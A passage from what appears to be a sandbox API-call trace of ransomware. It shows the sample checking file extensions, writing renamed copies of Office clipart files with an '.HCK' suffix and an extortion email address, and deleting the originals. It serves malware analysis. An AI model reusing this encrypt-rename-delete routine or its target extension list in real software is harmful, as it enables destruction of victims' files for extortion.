lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x1490, lpOverlapped=0x0) returned 1 [0159.067] ReadFile (in: hFile=0x390, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.067] WriteFile (in: hFile=0x380, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0159.067] SetEndOfFile (hFile=0x380) returned 1 [0159.067] CloseHandle (hObject=0x380) returned 1 [0159.068] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.068] SetEndOfFile (hFile=0x390) returned 1 [0159.069] CloseHandle (hObject=0x390) returned 1 [0159.069] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0159.069] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf")) returned 1 [0159.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0159.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0159.070] lstrlenW (lpString=".doc") returned 4 [0159.070] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.070] lstrlenW (lpString=".docx") returned 5 [0159.070] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0159.070] lstrlenW (lpString=".pdf") returned 4 [0159.070] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.070] lstrlenW (lpString=".xls") returned 4 [0159.070] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.070] lstrlenW (lpString=".xlsx") returned 5 [0159.070] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0159.070] lstrlenW (lpString=".ppt") returned 4 [0159.070] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0159.070] lstrlenW (lpString=".zip") returned 4 [0159.070] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.070] lstrlenW (lpString=".rar") returned 4 [0159.070] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.070] lstrlenW (lpString=".bz2") returned 4 [0159.070] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.070] lstrlenW (lpString=".7z") returned 3 [0159.070] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0159.070] lstrlenW (lpString=".dbf") returned 4 [0159.070] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0159.070] lstrlenW (lpString=".1cd") returned 4 [0159.070] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0159.070] lstrlenW (lpString=".jpg") returned 4 [0159.070] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0159.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0159.070] lstrlenW (lpString=".doc") returned 4 [0159.070] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.070] lstrlenW (lpString=".docx") returned 5 [0159.070] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0159.070] lstrlenW (lpString=".pdf") returned 4 [0159.070] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.070] lstrlenW (lpString=".xls") returned 4 [0159.070] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.070] lstrlenW (lpString=".xlsx") returned 5 [0159.070] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0159.070] lstrlenW (lpString=".ppt") returned 4 [0159.070] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0159.070] lstrlenW (lpString=".zip") returned 4 [0159.071] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.071] lstrlenW (lpString=".rar") returned 4 [0159.071] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.071] lstrlenW (lpString=".bz2") returned 4 [0159.071] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.071] lstrlenW (lpString=".7z") returned 3 [0159.071] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0159.071] lstrlenW (lpString=".dbf") returned 4 [0159.071] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0159.071] lstrlenW (lpString=".1cd") returned 4 [0159.071] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0159.071] lstrlenW (lpString=".jpg") returned 4 [0159.071] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.071] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0159.071] lstrlenW (lpString="FD00564_.WMF") returned 12 [0159.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0159.071] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=896) returned 1 [0159.071] CloseHandle (hObject=0x390) returned 1 [0159.072] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf")) returned 0x220 [0159.072] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0159.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0159.072] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.072] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0159.072] GetLastError () returned 0x0 [0159.073] ReadFile (in: hFile=0x390, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x380, lpOverlapped=0x0) returned 1 [0159.474] WriteFile (in: hFile=0x380, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x390, lpOverlapped=0x0) returned 1 [0159.901] ReadFile (in: hFile=0x390, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.901] WriteFile (in: hFile=0x380, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0159.901] SetEndOfFile (hFile=0x380) returned 1 [0159.901] CloseHandle (hObject=0x380) returned 1 [0159.902] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.902] SetEndOfFile (hFile=0x390) returned 1 [0159.902] CloseHandle (hObject=0x390) returned 1 [0159.902] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0159.903] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf")) returned 1 [0159.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0159.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0159.903] lstrlenW (lpString=".doc") returned 4 [0159.903] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.903] lstrlenW (lpString=".docx") returned 5 [0159.903] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0159.903] lstrlenW (lpString=".pdf") returned 4 [0159.903] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.903] lstrlenW (lpString=".xls") returned 4 [0159.903] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.903] lstrlenW (lpString=".xlsx") returned 5 [0159.903] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0159.903] lstrlenW (lpString=".ppt") returned 4 [0159.903] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0159.903] lstrlenW (lpString=".zip") returned 4 [0159.903] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.903] lstrlenW (lpString=".rar") returned 4 [0159.903] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.904] lstrlenW (lpString=".bz2") returned 4 [0159.904] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.904] lstrlenW (lpString=".7z") returned 3 [0159.904] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0159.904] lstrlenW (lpString=".dbf") returned 4 [0159.904] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0159.904] lstrlenW (lpString=".1cd") returned 4 [0159.904] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0159.904] lstrlenW (lpString=".jpg") returned 4 [0159.904] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0159.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0159.904] lstrlenW (lpString=".doc") returned 4 [0159.904] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.904] lstrlenW (lpString=".docx") returned 5 [0159.904] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0159.904] lstrlenW (lpString=".pdf") returned 4 [0159.904] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.904] lstrlenW (lpString=".xls") returned 4 [0159.904] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.904] lstrlenW (lpString=".xlsx") returned 5 [0159.904] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0159.904] lstrlenW (lpString=".ppt") returned 4 [0159.904] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0159.904] lstrlenW (lpString=".zip") returned 4 [0159.904] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.904] lstrlenW (lpString=".rar") returned 4 [0159.904] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.904] lstrlenW (lpString=".bz2") returned 4 [0159.904] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.904] lstrlenW (lpString=".7z") returned 3 [0159.904] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0159.904] lstrlenW (lpString=".dbf") returned 4 [0159.904] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0159.904] lstrlenW (lpString=".1cd") returned 4 [0159.904] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0159.904] lstrlenW (lpString=".jpg") returned 4 [0159.904] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.905] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0159.905] lstrlenW (lpString="FD01657_.WMF") returned 12 [0159.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0159.905] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=30414) returned 1 [0159.905] CloseHandle (hObject=0x390) returned 1 [0159.905] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf")) returned 0x220 [0159.905] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0159.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0159.905] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.905] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0159.906] GetLastError () returned 0x0 [0159.906] ReadFile (in: hFile=0x390, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x76ce, lpOverlapped=0x0) returned 1 [0159.907] WriteFile (in: hFile=0x380, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x76d0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x76d0, lpOverlapped=0x0) returned 1 [0159.908] ReadFile (in: hFile=0x390, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.908] WriteFile (in: hFile=0x380, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0159.909] SetEndOfFile (hFile=0x380) returned 1 [0159.909] CloseHandle (hObject=0x380) returned 1 [0159.910] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.910] SetEndOfFile (hFile=0x390) returned 1 [0159.911] CloseHandle (hObject=0x390) returned 1 [0159.911] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0159.911] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf")) returned 1 [0159.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0159.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0159.911] lstrlenW (lpString=".doc") returned 4 [0159.911] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.911] lstrlenW (lpString=".docx") returned 5 [0159.911] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0159.911] lstrlenW (lpString=".pdf") returned 4 [0159.911] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.911] lstrlenW (lpString=".xls") returned 4 [0159.911] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.911] lstrlenW (lpString=".xlsx") returned 5 [0159.911] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0159.911] lstrlenW (lpString=".ppt") returned 4 [0159.912] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0159.912] lstrlenW (lpString=".zip") returned 4 [0159.912] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.912] lstrlenW (lpString=".rar") returned 4 [0159.912] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.912] lstrlenW (lpString=".bz2") returned 4 [0159.912] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.912] lstrlenW (lpString=".7z") returned 3 [0159.912] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0159.912] lstrlenW (lpString=".dbf") returned 4 [0159.912] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0159.912] lstrlenW (lpString=".1cd") returned 4 [0159.912] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0159.912] lstrlenW (lpString=".jpg") returned 4 [0159.912] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0159.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0159.912] lstrlenW (lpString=".doc") returned 4 [0159.912] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.912] lstrlenW (lpString=".docx") returned 5 [0159.912] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0159.912] lstrlenW (lpString=".pdf") returned 4 [0159.912] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.912] lstrlenW (lpString=".xls") returned 4 [0159.912] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.912] lstrlenW (lpString=".xlsx") returned 5 [0159.912] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0159.912] lstrlenW (lpString=".ppt") returned 4 [0159.912] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0159.912] lstrlenW (lpString=".zip") returned 4 [0159.912] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.912] lstrlenW (lpString=".rar") returned 4 [0159.912] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.912] lstrlenW (lpString=".bz2") returned 4 [0159.912] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.912] lstrlenW (lpString=".7z") returned 3 [0159.912] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0159.912] lstrlenW (lpString=".dbf") returned 4 [0159.912] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0159.913] lstrlenW (lpString=".1cd") returned 4 [0159.913] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0159.913] lstrlenW (lpString=".jpg") returned 4 [0159.913] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.913] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0159.913] lstrlenW (lpString="FD01658_.WMF") returned 12 [0159.913] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0159.913] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=17924) returned 1 [0159.913] CloseHandle (hObject=0x390) returned 1 [0159.913] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf")) returned 0x220 [0159.913] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0159.913] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0159.913] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.913] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.913] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0159.914] GetLastError () returned 0x0 [0159.914] ReadFile (in: hFile=0x390, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x4604, lpOverlapped=0x0) returned 1 [0159.915] WriteFile (in: hFile=0x380, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x4610, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x4610, lpOverlapped=0x0) returned 1 [0159.916] ReadFile (in: hFile=0x390, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.916] WriteFile (in: hFile=0x380, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: 